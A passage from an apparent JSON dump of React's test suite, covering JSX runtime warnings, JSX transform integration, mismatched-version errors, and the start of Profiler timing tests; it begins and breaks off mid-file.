});\n    assertConsoleErrorDev([\n      'Child: `key` is not a prop. Trying to access it will result ' +\n        'in `undefined` being returned. If you need to access the same ' +\n        'value within the child component, you should pass it as a different ' +\n        'prop. (https://react.dev/link/special-props)\\n' +\n        '    in Parent (at **)',\n    ]);\n  });\n\n  it('warns when a jsxs is passed something that is not an array', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(JSXRuntime.jsxs('div', {children: 'foo'}, null));\n    });\n    assertConsoleErrorDev([\n      'React.jsx: Static children should always be an array. ' +\n        'You are likely explicitly calling React.jsxs or React.jsxDEV. ' +\n        'Use the Babel transform instead.',\n    ]);\n  });\n\n  it('should warn when `key` is being accessed on a host element', () => {\n    const element = JSXRuntime.jsxs('div', {}, '3');\n    void element.props.key;\n    assertConsoleErrorDev([\n      'div: `key` is not a prop. Trying to access it will result ' +\n        'in `undefined` being returned. If you need to access the same ' +\n        'value within the child component, you should pass it as a different ' +\n        'prop. (https://react.dev/link/special-props)',\n    ]);\n  });\n\n  it('should warn when unkeyed children are passed to jsx', async () => {\n    const container = document.createElement('div');\n\n    class Child extends React.Component {\n      render() {\n        return JSXRuntime.jsx('div', {});\n      }\n    }\n    class Parent extends React.Component {\n      render() {\n        return JSXRuntime.jsx('div', {\n          children: [\n            JSXRuntime.jsx(Child, {}),\n            JSXRuntime.jsx(Child, {}),\n            JSXRuntime.jsx(Child, {}),\n          ],\n        });\n      }\n    }\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(JSXRuntime.jsx(Parent, {}));\n    });\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.\\n\\n' +\n        'Check the render method of `Parent`. See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in Parent (at **)',\n    ]);\n  });\n\n  it('should warn when keys are passed as part of props', async () => {\n    const container = document.createElement('div');\n    class Child extends React.Component {\n      render() {\n        return JSXRuntime.jsx('div', {});\n      }\n    }\n    class Parent extends React.Component {\n      render() {\n        return JSXRuntime.jsx('div', {\n          children: [JSXRuntime.jsx(Child, {key: '0', prop: 'hi'})],\n        });\n      }\n    }\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(JSXRuntime.jsx(Parent, {}));\n    });\n    assertConsoleErrorDev([\n      'A props object containing a \"key\" prop is being spread into JSX:\\n' +\n        '  let props = {key: someKey, prop: ...};\\n' +\n        '  <Child {...props} />\\n' +\n        'React keys must be passed directly to JSX without using spread:\\n' +\n        '  let props = {prop: ...};\\n' +\n        '  <Child key={someKey} {...props} />\\n' +\n        '    in Parent (at **)',\n    ]);\n  });\n\n  it('should not warn when unkeyed children are passed to jsxs', async () => {\n    const container = document.createElement('div');\n    class Child extends React.Component {\n      render() {\n        return JSXRuntime.jsx('div', {});\n      }\n    }\n    class Parent extends React.Component {\n      render() {\n        return JSXRuntime.jsxs('div', {\n          children: [\n            JSXRuntime.jsx(Child, {}),\n            JSXRuntime.jsx(Child, {}),\n            JSXRuntime.jsx(Child, {}),\n          ],\n        });\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(JSXRuntime.jsx(Parent, {}));\n    });\n\n    // Test shouldn't throw any errors.\n    expect(true).toBe(true);\n  });\n\n  it('does not call lazy initializers eagerly', () => {\n    let didCall = false;\n    const Lazy = React.lazy(() => {\n      didCall = true;\n      return {then() {}};\n    });\n    if (__DEV__) {\n      JSXDEVRuntime.jsxDEV(Lazy, {});\n    } else {\n      JSXRuntime.jsx(Lazy, {});\n    }\n    expect(didCall).toBe(false);\n  });\n\n  it('does not clone props object if key and ref is not spread', async () => {\n    const config = {\n      foo: 'foo',\n      bar: 'bar',\n    };\n\n    const element = __DEV__\n      ? JSXDEVRuntime.jsxDEV('div', config)\n      : JSXRuntime.jsx('div', config);\n    expect(Object.is(element.props, config)).toBe(true);\n\n    const configWithKey = {\n      foo: 'foo',\n      bar: 'bar',\n      // This only happens when the key is spread onto the element. A statically\n      // defined key is passed as a separate argument to the jsx() runtime.\n      key: 'key',\n    };\n\n    const elementWithSpreadKey = __DEV__\n      ? JSXDEVRuntime.jsxDEV('div', configWithKey)\n      : JSXRuntime.jsx('div', configWithKey);\n    assertConsoleErrorDev([\n      'A props object containing a \"key\" prop is being spread into JSX:\\n' +\n        '  let props = {key: someKey, foo: ..., bar: ...};\\n' +\n        '  <div {...props} />\\n' +\n        'React keys must be passed directly to JSX without using spread:\\n' +\n        '  let props = {foo: ..., bar: ...};\\n' +\n        '  <div key={someKey} {...props} />',\n    ]);\n    expect(elementWithSpreadKey.props).not.toBe(configWithKey);\n  });\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/ReactJSXTransformIntegration-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet act;\nlet assertConsoleErrorDev;\n\n// TODO: Historically this module was used to confirm that the JSX transform\n// produces the correct output. However, most users (and indeed our own test\n// suite) use a tool like Babel or TypeScript to transform JSX; unlike the\n// runtime, the transform is not part of React itself. So this is really just an\n// integration suite for the Babel transform. We might consider deleting it. We\n// should prefer to test the JSX runtime directly, in ReactCreateElement-test\n// and ReactJsxRuntime-test. In the meantime, there's lots of overlap between\n// those modules and this one.\ndescribe('ReactJSXTransformIntegration', () => {\n  let Component;\n\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ({act, assertConsoleErrorDev} = require('internal-test-utils'));\n\n    Component = class extends React.Component {\n      render() {\n        return <div />;\n      }\n    };\n  });\n\n  it('sanity check: test environment is configured to compile JSX to the jsx() runtime', async () => {\n    function App() {\n      return <div />;\n    }\n    const source = App.toString();\n    if (__DEV__) {\n      expect(source).toContain('jsxDEV(');\n    } else {\n      expect(source).toContain('jsx(');\n    }\n    expect(source).not.toContain('React.createElement');\n  });\n\n  it('returns a complete element according to spec', () => {\n    const element = <Component />;\n    expect(element.type).toBe(Component);\n    expect(element.key).toBe(null);\n    expect(element.ref).toBe(null);\n    const expectation = {};\n    Object.freeze(expectation);\n    expect(element.props).toEqual(expectation);\n  });\n\n  it('allows a lower-case to be passed as the string type', () => {\n    const element = <div />;\n    expect(element.type).toBe('div');\n    expect(element.key).toBe(null);\n    expect(element.ref).toBe(null);\n    const expectation = {};\n    Object.freeze(expectation);\n    expect(element.props).toEqual(expectation);\n  });\n\n  it('allows a string to be passed as the type', () => {\n    const TagName = 'div';\n    const element = <TagName />;\n    expect(element.type).toBe('div');\n    expect(element.key).toBe(null);\n    expect(element.ref).toBe(null);\n    const expectation = {};\n    Object.freeze(expectation);\n    expect(element.props).toEqual(expectation);\n  });\n\n  it('returns an immutable element', () => {\n    const element = <Component />;\n    if (__DEV__) {\n      expect(() => (element.type = 'div')).toThrow();\n    } else {\n      expect(() => (element.type = 'div')).not.toThrow();\n    }\n  });\n\n  it('does not reuse the object that is spread into props', () => {\n    const config = {foo: 1};\n    const element = <Component {...config} />;\n    expect(element.props.foo).toBe(1);\n    config.foo = 2;\n    expect(element.props.foo).toBe(1);\n  });\n\n  it('extracts key from the rest of the props', () => {\n    const element = <Component key=\"12\" foo=\"56\" />;\n    expect(element.type).toBe(Component);\n    expect(element.key).toBe('12');\n    const expectation = {foo: '56'};\n    Object.freeze(expectation);\n    expect(element.props).toEqual(expectation);\n  });\n\n  it('does not extract ref from the rest of the props', () => {\n    const ref = React.createRef();\n    const element = <Component ref={ref} foo=\"56\" />;\n    expect(element.type).toBe(Component);\n    expect(element.ref).toBe(ref);\n    assertConsoleErrorDev([\n      'Accessing element.ref was removed in React 19. ref is now a ' +\n        'regular prop. It will be removed from the JSX Element ' +\n        'type in a future release.',\n    ]);\n    const expectation = {foo: '56', ref};\n    Object.freeze(expectation);\n    expect(element.props).toEqual(expectation);\n  });\n\n  it('coerces the key to a string', () => {\n    const element = <Component key={12} foo=\"56\" />;\n    expect(element.type).toBe(Component);\n    expect(element.key).toBe('12');\n    expect(element.ref).toBe(null);\n    const expectation = {foo: '56'};\n    Object.freeze(expectation);\n    expect(element.props).toEqual(expectation);\n  });\n\n  it('merges JSX children onto the children prop', () => {\n    const a = 1;\n    const element = <Component children=\"text\">{a}</Component>;\n    expect(element.props.children).toBe(a);\n  });\n\n  it('does not override children if no JSX children are provided', () => {\n    const element = <Component children=\"text\" />;\n    expect(element.props.children).toBe('text');\n  });\n\n  it('overrides children if null is provided as a JSX child', () => {\n    const element = <Component children=\"text\">{null}</Component>;\n    expect(element.props.children).toBe(null);\n  });\n\n  it('overrides children if undefined is provided as an argument', () => {\n    const element = <Component children=\"text\">{undefined}</Component>;\n    expect(element.props.children).toBe(undefined);\n\n    const element2 = React.cloneElement(\n      <Component children=\"text\" />,\n      {},\n      undefined,\n    );\n    expect(element2.props.children).toBe(undefined);\n  });\n\n  it('merges JSX children onto the children prop in an array', () => {\n    const a = 1;\n    const b = 2;\n    const c = 3;\n    const element = (\n      <Component>\n        {a}\n        {b}\n        {c}\n      </Component>\n    );\n    expect(element.props.children).toEqual([1, 2, 3]);\n  });\n\n  it('allows static methods to be called using the type property', () => {\n    class StaticMethodComponent {\n      static someStaticMethod() {\n        return 'someReturnValue';\n      }\n      render() {\n        return <div />;\n      }\n    }\n\n    const element = <StaticMethodComponent />;\n    expect(element.type.someStaticMethod()).toBe('someReturnValue');\n  });\n\n  it('identifies valid elements', () => {\n    expect(React.isValidElement(<div />)).toEqual(true);\n    expect(React.isValidElement(<Component />)).toEqual(true);\n\n    expect(React.isValidElement(null)).toEqual(false);\n    expect(React.isValidElement(true)).toEqual(false);\n    expect(React.isValidElement({})).toEqual(false);\n    expect(React.isValidElement('string')).toEqual(false);\n    expect(React.isValidElement(Component)).toEqual(false);\n    expect(React.isValidElement({type: 'div', props: {}})).toEqual(false);\n  });\n\n  it('is indistinguishable from a plain object', () => {\n    const element = <div className=\"foo\" />;\n    const object = {};\n    expect(element.constructor).toBe(object.constructor);\n  });\n\n  it('should use default prop value when removing a prop', async () => {\n    Component.defaultProps = {fruit: 'persimmon'};\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    let instance;\n    await act(() => {\n      root.render(<Component fruit=\"mango\" ref={ref => (instance = ref)} />);\n    });\n    expect(instance.props.fruit).toBe('mango');\n\n    await act(() => {\n      root.render(<Component ref={ref => (instance = ref)} />);\n    });\n    expect(instance.props.fruit).toBe('persimmon');\n  });\n\n  it('should normalize props with default values', async () => {\n    class NormalizingComponent extends React.Component {\n      render() {\n        return <span>{this.props.prop}</span>;\n      }\n    }\n    NormalizingComponent.defaultProps = {prop: 'testKey'};\n\n    let container = document.createElement('div');\n    let root = ReactDOMClient.createRoot(container);\n    let instance;\n    await act(() => {\n      root.render(\n        <NormalizingComponent ref={current => (instance = current)} />,\n      );\n    });\n\n    expect(instance.props.prop).toBe('testKey');\n\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    let inst2;\n    await act(() => {\n      root.render(\n        <NormalizingComponent prop={null} ref={current => (inst2 = current)} />,\n      );\n    });\n\n    expect(inst2.props.prop).toBe(null);\n  });\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/ReactMismatchedVersions-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nimport {patchMessageChannel} from '../../../../scripts/jest/patchMessageChannel';\n\ndescribe('ReactMismatchedVersions-test', () => {\n  // Polyfills for test environment\n  global.ReadableStream =\n    require('web-streams-polyfill/ponyfill/es6').ReadableStream;\n  global.TextEncoder = require('util').TextEncoder;\n\n  let React;\n  let actualReactVersion;\n\n  beforeEach(() => {\n    jest.resetModules();\n\n    patchMessageChannel();\n\n    jest.mock('react', () => {\n      const actualReact = jest.requireActual('react');\n      return {\n        ...actualReact,\n        version: '18.0.0-whoa-this-aint-the-right-react',\n        __actualVersion: actualReact.version,\n      };\n    });\n    React = require('react');\n    actualReactVersion = React.__actualVersion;\n  });\n\n  it('importing \"react-dom/client\" throws if version does not match React version', async () => {\n    expect(() => require('react-dom/client')).toThrow(\n      'Incompatible React versions: The \"react\" and \"react-dom\" packages ' +\n        'must have the exact same version. Instead got:\\n' +\n        '  - react:      18.0.0-whoa-this-aint-the-right-react\\n' +\n        `  - react-dom:  ${actualReactVersion}`,\n    );\n  });\n\n  // When running in source mode, we lazily require the implementation to\n  // simulate the static config dependency injection we do at build time. So it\n  // only errors once you call something and trigger the require. Running the\n  // test in build mode is sufficient.\n  // @gate !source\n  it('importing \"react-dom/server\" throws if version does not match React version', async () => {\n    expect(() => require('react-dom/server')).toThrow(\n      'Incompatible React versions: The \"react\" and \"react-dom\" packages ' +\n        'must have the exact same version. Instead got:\\n' +\n        '  - react:      18.0.0-whoa-this-aint-the-right-react\\n' +\n        `  - react-dom:  ${actualReactVersion}`,\n    );\n  });\n\n  // @gate !source\n  it('importing \"react-dom/server.node\" throws if version does not match React version', async () => {\n    expect(() => require('react-dom/server.node')).toThrow(\n      'Incompatible React versions: The \"react\" and \"react-dom\" packages ' +\n        'must have the exact same version. Instead got:\\n' +\n        '  - react:      18.0.0-whoa-this-aint-the-right-react\\n' +\n        `  - react-dom:  ${actualReactVersion}`,\n    );\n  });\n\n  // @gate !source\n  it('importing \"react-dom/server.browser\" throws if version does not match React version', async () => {\n    expect(() => require('react-dom/server.browser')).toThrow(\n      'Incompatible React versions: The \"react\" and \"react-dom\" packages ' +\n        'must have the exact same version. Instead got:\\n' +\n        '  - react:      18.0.0-whoa-this-aint-the-right-react\\n' +\n        `  - react-dom:  ${actualReactVersion}`,\n    );\n  });\n\n  // @gate !source\n  it('importing \"react-dom/server.bun\" throws if version does not match React version', async () => {\n    expect(() => require('react-dom/server.bun')).toThrow(\n      'Incompatible React versions: The \"react\" and \"react-dom\" packages ' +\n        'must have the exact same version. Instead got:\\n' +\n        '  - react:      18.0.0-whoa-this-aint-the-right-react\\n' +\n        `  - react-dom:  ${actualReactVersion}`,\n    );\n  });\n\n  // @gate !source\n  it('importing \"react-dom/server.edge\" throws if version does not match React version', async () => {\n    expect(() => require('react-dom/server.edge')).toThrow(\n      'Incompatible React versions: The \"react\" and \"react-dom\" packages ' +\n        'must have the exact same version. Instead got:\\n' +\n        '  - react:      18.0.0-whoa-this-aint-the-right-react\\n' +\n        `  - react-dom:  ${actualReactVersion}`,\n    );\n  });\n\n  it('importing \"react-dom/static\" throws if version does not match React version', async () => {\n    expect(() => require('react-dom/static')).toThrow(\n      'Incompatible React versions: The \"react\" and \"react-dom\" packages ' +\n        'must have the exact same version. Instead got:\\n' +\n        '  - react:      18.0.0-whoa-this-aint-the-right-react\\n' +\n        `  - react-dom:  ${actualReactVersion}`,\n    );\n  });\n\n  // @gate !source\n  it('importing \"react-dom/static.node\" throws if version does not match React version', async () => {\n    expect(() => require('react-dom/static.node')).toThrow(\n      'Incompatible React versions: The \"react\" and \"react-dom\" packages ' +\n        'must have the exact same version. Instead got:\\n' +\n        '  - react:      18.0.0-whoa-this-aint-the-right-react\\n' +\n        `  - react-dom:  ${actualReactVersion}`,\n    );\n  });\n\n  it('importing \"react-dom/static.browser\" throws if version does not match React version', async () => {\n    expect(() => require('react-dom/static.browser')).toThrow(\n      'Incompatible React versions: The \"react\" and \"react-dom\" packages ' +\n        'must have the exact same version. Instead got:\\n' +\n        '  - react:      18.0.0-whoa-this-aint-the-right-react\\n' +\n        `  - react-dom:  ${actualReactVersion}`,\n    );\n  });\n\n  it('importing \"react-dom/static.edge\" throws if version does not match React version', async () => {\n    expect(() => require('react-dom/static.edge')).toThrow(\n      'Incompatible React versions: The \"react\" and \"react-dom\" packages ' +\n        'must have the exact same version. Instead got:\\n' +\n        '  - react:      18.0.0-whoa-this-aint-the-right-react\\n' +\n        `  - react-dom:  ${actualReactVersion}`,\n    );\n  });\n\n  // @gate source\n  it('importing \"react-native-renderer\" throws if version does not match React version', async () => {\n    expect(() => require('react-native-renderer')).toThrow(\n      'Incompatible React versions: The \"react\" and \"react-native-renderer\" packages ' +\n        'must have the exact same version. Instead got:\\n' +\n        '  - react:                  18.0.0-whoa-this-aint-the-right-react\\n' +\n        `  - react-native-renderer:  ${actualReactVersion}`,\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/ReactProfiler-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactFeatureFlags;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet AdvanceTime;\nlet assertLog;\nlet waitFor;\nlet waitForAll;\nlet waitForThrow;\n\nfunction loadModules({\n  enableProfilerTimer = true,\n  enableProfilerCommitHooks = true,\n  enableProfilerNestedUpdatePhase = true,\n} = {}) {\n  ReactFeatureFlags = require('shared/ReactFeatureFlags');\n\n  ReactFeatureFlags.enableProfilerTimer = enableProfilerTimer;\n  ReactFeatureFlags.enableProfilerCommitHooks = enableProfilerCommitHooks;\n  ReactFeatureFlags.enableProfilerNestedUpdatePhase =\n    enableProfilerNestedUpdatePhase;\n\n  React = require('react');\n  Scheduler = require('scheduler');\n  ReactNoop = require('react-noop-renderer');\n  const InternalTestUtils = require('internal-test-utils');\n  act = InternalTestUtils.act;\n  assertLog = InternalTestUtils.assertLog;\n  waitFor = InternalTestUtils.waitFor;\n  waitForAll = InternalTestUtils.waitForAll;\n  waitForThrow = InternalTestUtils.waitForThrow;\n\n  AdvanceTime = class extends React.Component {\n    static defaultProps = {\n      byAmount: 10,\n      shouldComponentUpdate: true,\n    };\n    shouldComponentUpdate(nextProps) {\n      return nextProps.shouldComponentUpdate;\n    }\n    render() {\n      // Simulate time passing when this component is rendered\n      Scheduler.unstable_advanceTime(this.props.byAmount);\n      return this.props.children || null;\n    }\n  };\n}\n\ndescribe(`onRender`, () => {\n  beforeEach(() => {\n    jest.resetModules();\n    loadModules();\n  });\n\n  it('should handle errors thrown', async () => {\n    const callback = jest.fn(id => {\n      if (id === 'throw') {\n        throw Error('expected');\n      }\n    });\n\n    let didMount = false;\n    class ClassComponent extends React.Component {\n      componentDidMount() {\n        didMount = true;\n      }\n      render() {\n        return this.props.children;\n      }\n    }\n\n    // Errors thrown from onRender should not break the commit phase,\n    // Or prevent other lifecycles from being called.\n    await expect(\n      act(() => {\n        ReactNoop.render(\n          <ClassComponent>\n            <React.Profiler id=\"do-not-throw\" onRender={callback}>\n              <React.Profiler id=\"throw\" onRender={callback}>\n                <div />\n              </React.Profiler>\n            </React.Profiler>\n          </ClassComponent>,\n        );\n      }),\n    ).rejects.toThrow('expected');\n    expect(didMount).toBe(true);\n    expect(callback).toHaveBeenCalledTimes(2);\n  });\n\n  it('is not invoked until the commit phase', async () => {\n    const callback = jest.fn();\n\n    const Yield = ({value}) => {\n      Scheduler.log(value);\n      return null;\n    };\n\n    React.startTransition(() => {\n      ReactNoop.render(\n        <React.Profiler id=\"test\" onRender={callback}>\n          <Yield value=\"first\" />\n          <Yield value=\"last\" />\n        </React.Profiler>,\n      );\n    });\n\n    // Times are logged until a render is committed.\n    await waitFor(['first']);\n    expect(callback).toHaveBeenCalledTimes(0);\n    await waitForAll(['last']);\n    expect(callback).toHaveBeenCalledTimes(1);\n  });\n\n  // @gate !__DEV__\n  it('does not record times for components outside of Profiler tree', async () => {\n    // Mock the Scheduler module so we can track how many times the current\n    // time is read\n    jest.mock('scheduler', obj => {\n      const ActualScheduler = jest.requireActual('scheduler/unstable_mock');\n      return {\n        ...ActualScheduler,\n        unstable_now: function mockUnstableNow() {\n          ActualScheduler.log('read current time');\n          return ActualScheduler.unstable_now();\n        },\n      };\n    });\n\n    jest.resetModules();\n\n    loadModules();\n\n    // Clear yields in case the current time is read during initialization.\n    Scheduler.unstable_clearLog();\n\n    await act(() => {\n      ReactNoop.render(\n        <div>\n          <AdvanceTime />\n          <AdvanceTime />\n          <AdvanceTime />\n          <AdvanceTime />\n          <AdvanceTime />\n        </div>,\n      );\n    });\n\n    // Restore original mock\n    jest.mock('scheduler', () => jest.requireActual('scheduler/unstable_mock'));\n\n    if (gate(flags => flags.enableComponentPerformanceTrack)) {\n      assertLog([\n        'read current time',\n        'read current time',\n        'read current time',\n        'read current time',\n        'read current time',\n        'read current time',\n        'read current time',\n        'read current time',\n        'read current time',\n        'read current time',\n        'read current time',\n        'read current time',\n        'read current time',\n        'read current time',\n        'read current time',\n        'read current time',\n      ]);\n    } else {\n      assertLog([\n        'read current time',\n        'read current time',\n        'read current time',\n        'read current time',\n        'read current time',\n        'read current time',\n        'read current time',\n        'read current time',\n        'read current time',\n        'read current time',\n        'read current time',\n      ]);\n    }\n  });\n\n  it('does not report work done on a sibling', async () => {\n    const callback = jest.fn();\n\n    const DoesNotUpdate = React.memo(\n      function DoesNotUpdateInner() {\n        Scheduler.unstable_advanceTime(10);\n        return null;\n      },\n      () => true,\n    );\n\n    let updateProfilerSibling;\n\n    function ProfilerSibling() {\n      const [count, setCount] = React.useState(0);\n      updateProfilerSibling = () => setCount(count + 1);\n      return null;\n    }\n\n    function App() {\n      return (\n        <React.Fragment>\n          <React.Profiler id=\"test\" onRender={callback}>\n            <DoesNotUpdate />\n          </React.Profiler>\n          <ProfilerSibling />\n        </React.Fragment>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App />);\n    });\n\n    expect(callback).toHaveBeenCalledTimes(1);\n\n    let call = callback.mock.calls[0];\n\n    expect(call).toHaveLength(6);\n    expect(call[0]).toBe('test');\n    expect(call[1]).toBe('mount');\n    expect(call[2]).toBe(10); // actual time\n    expect(call[3]).toBe(10); // base time\n    expect(call[4]).toBe(0); // start time\n    expect(call[5]).toBe(10); // commit time\n\n    callback.mockReset();\n\n    Scheduler.unstable_advanceTime(20); // 10 -> 30\n\n    await act(() => {\n      root.render(<App />);\n    });\n\n    if (gate(flags => flags.enableUseJSStackToTrackPassiveDurations)) {\n      // None of the Profiler's subtree was rendered because App bailed out before the Profiler.\n      // So we expect onRender not to be called.\n      expect(callback).not.toHaveBeenCalled();\n    } else {\n      // Updating a parent reports a re-render,\n      // since React technically did a little bit of work between the Profiler and the bailed out subtree.\n      // This is not optimal but it's how the old reconciler fork works.\n      expect(callback).toHaveBeenCalledTimes(1);\n\n      call = callback.mock.calls[0];\n\n      expect(call).toHaveLength(6);\n      expect(call[0]).toBe('test');\n      expect(call[1]).toBe('update');\n      expect(call[2]).toBe(0); // actual time\n      expect(call[3]).toBe(10); // base time\n      expect(call[4]).toBe(30); // start time\n      expect(call[5]).toBe(30); // commit time\n\n      callback.mockReset();\n    }\n\n    Scheduler.unstable_advanceTime(20); // 30 -> 50\n\n    // Updating a sibling should not report a re-render.\n    await act(() => updateProfilerSibling());\n\n    expect(callback).not.toHaveBeenCalled();\n  });\n\n  it('logs render times for both mount and update', async () => {\n    const callback = jest.fn();\n\n    Scheduler.unstable_advanceTime(5); // 0 -> 5\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"test\" onRender={callback}>\n          <AdvanceTime />\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(1);\n\n    let [call] = callback.mock.calls;\n\n    expect(call).toHaveLength(6);\n    expect(call[0]).toBe('test');\n    expect(call[1]).toBe('mount');\n    expect(call[2]).toBe(10); // actual time\n    expect(call[3]).toBe(10); // base time\n    expect(call[4]).toBe(5); // start time\n    expect(call[5]).toBe(15); // commit time\n\n    callback.mockReset();\n\n    Scheduler.unstable_advanceTime(20); // 15 -> 35\n\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"test\" onRender={callback}>\n          <AdvanceTime />\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(1);\n\n    [call] = callback.mock.calls;\n\n    expect(call).toHaveLength(6);\n    expect(call[0]).toBe('test');\n    expect(call[1]).toBe('update');\n    expect(call[2]).toBe(10); // actual time\n    expect(call[3]).toBe(10); // base time\n    expect(call[4]).toBe(35); // start time\n    expect(call[5]).toBe(45); // commit time\n\n    callback.mockReset();\n\n    Scheduler.unstable_advanceTime(20); // 45 -> 65\n\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"test\" onRender={callback}>\n          <AdvanceTime byAmount={4} />\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(1);\n\n    [call] = callback.mock.calls;\n\n    expect(call).toHaveLength(6);\n    expect(call[0]).toBe('test');\n    expect(call[1]).toBe('update');\n    expect(call[2]).toBe(4); // actual time\n    expect(call[3]).toBe(4); // base time\n    expect(call[4]).toBe(65); // start time\n    expect(call[5]).toBe(69); // commit time\n  });\n\n  it('includes render times of nested Profilers in their parent times', async () => {\n    const callback = jest.fn();\n\n    Scheduler.unstable_advanceTime(5); // 0 -> 5\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <React.Fragment>\n          <React.Profiler id=\"parent\" onRender={callback}>\n            <AdvanceTime byAmount={10}>\n              <React.Profiler id=\"child\" onRender={callback}>\n                <AdvanceTime byAmount={20} />\n              </React.Profiler>\n            </AdvanceTime>\n          </React.Profiler>\n        </React.Fragment>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(2);\n\n    // Callbacks bubble (reverse order).\n    const [childCall, parentCall] = callback.mock.calls;\n    expect(childCall[0]).toBe('child');\n    expect(parentCall[0]).toBe('parent');\n\n    // Parent times should include child times\n    expect(childCall[2]).toBe(20); // actual time\n    expect(childCall[3]).toBe(20); // base time\n    expect(childCall[4]).toBe(15); // start time\n    expect(childCall[5]).toBe(35); // commit time\n    expect(parentCall[2]).toBe(30); // actual time\n    expect(parentCall[3]).toBe(30); // base time\n    expect(parentCall[4]).toBe(5); // start time\n    expect(parentCall[5]).toBe(35); // commit time\n  });\n\n  it('traces sibling Profilers separately', async () => {\n    const callback = jest.fn();\n\n    Scheduler.unstable_advanceTime(5); // 0 -> 5\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <React.Fragment>\n          <React.Profiler id=\"first\" onRender={callback}>\n            <AdvanceTime byAmount={20} />\n          </React.Profiler>\n          <React.Profiler id=\"second\" onRender={callback}>\n            <AdvanceTime byAmount={5} />\n          </React.Profiler>\n        </React.Fragment>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(2);\n\n    const [firstCall, secondCall] = callback.mock.calls;\n    expect(firstCall[0]).toBe('first');\n    expect(secondCall[0]).toBe('second');\n\n    // Parent times should include child times\n    expect(firstCall[2]).toBe(20); // actual time\n    expect(firstCall[3]).toBe(20); // base time\n    expect(firstCall[4]).toBe(5); // start time\n    expect(firstCall[5]).toBe(30); // commit time\n    expect(secondCall[2]).toBe(5); // actual time\n    expect(secondCall[3]).toBe(5); // base time\n    expect(secondCall[4]).toBe(25); // start time\n    expect(secondCall[5]).toBe(30); // commit time\n  });\n\n  it('does not include time spent outside of profile root', async () => {\n    const callback = jest.fn();\n\n    Scheduler.unstable_advanceTime(5); // 0 -> 5\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <React.Fragment>\n          <AdvanceTime byAmount={20} />\n          <React.Profiler id=\"test\" onRender={callback}>\n            <AdvanceTime byAmount={5} />\n          </React.Profiler>\n          <AdvanceTime byAmount={20} />\n        </React.Fragment>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(1);\n\n    const [call] = callback.mock.calls;\n    expect(call[0]).toBe('test');\n    expect(call[2]).toBe(5); // actual time\n    expect(call[3]).toBe(5); // base time\n    expect(call[4]).toBe(25); // start time\n    expect(call[5]).toBe(50); // commit time\n  });\n\n  it('is not called when blocked by sCU false', async () => {\n    const callback = jest.fn();\n\n    let instance;\n    class Updater extends React.Component {\n      state = {};\n      render() {\n        instance = this;\n        return this.props.children;\n      }\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"outer\" onRender={callback}>\n          <Updater>\n            <React.Profiler id=\"inner\" onRender={callback}>\n              <div />\n            </React.Profiler>\n          </Updater>\n        </React.Profiler>,\n      );\n    });\n    // All profile callbacks are called for initial render\n    expect(callback).toHaveBeenCalledTimes(2);\n\n    callback.mockReset();\n\n    ReactNoop.flushSync(() => {\n      instance.setState({\n        count: 1,\n      });\n    });\n\n    // Only call onRender for paths that have re-rendered.\n    // Since the Updater's props didn't change,\n    // React does not re-render its children.\n    expect(callback).toHaveBeenCalledTimes(1);\n    expect(callback.mock.calls[0][0]).toBe('outer');\n  });\n\n  it('decreases actual time but not base time when sCU prevents an update', async () => {\n    const callback = jest.fn();\n\n    Scheduler.unstable_advanceTime(5); // 0 -> 5\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"test\" onRender={callback}>\n          <AdvanceTime byAmount={10}>\n            <AdvanceTime byAmount={13} shouldComponentUpdate={false} />\n          </AdvanceTime>\n        </React.Profiler>,\n      );\n    });\n\n    expect(callback).toHaveBeenCalledTimes(1);\n\n    Scheduler.unstable_advanceTime(30); // 28 -> 58\n\n    await act(() => {\n      root.render(\n        <React.Profiler id=\"test\" onRender={callback}>\n          <AdvanceTime byAmount={4}>\n            <AdvanceTime byAmount={7} shouldComponentUpdate={false} />\n          </AdvanceTime>\n        </React.Profiler>,\n      );\n    });\n\n    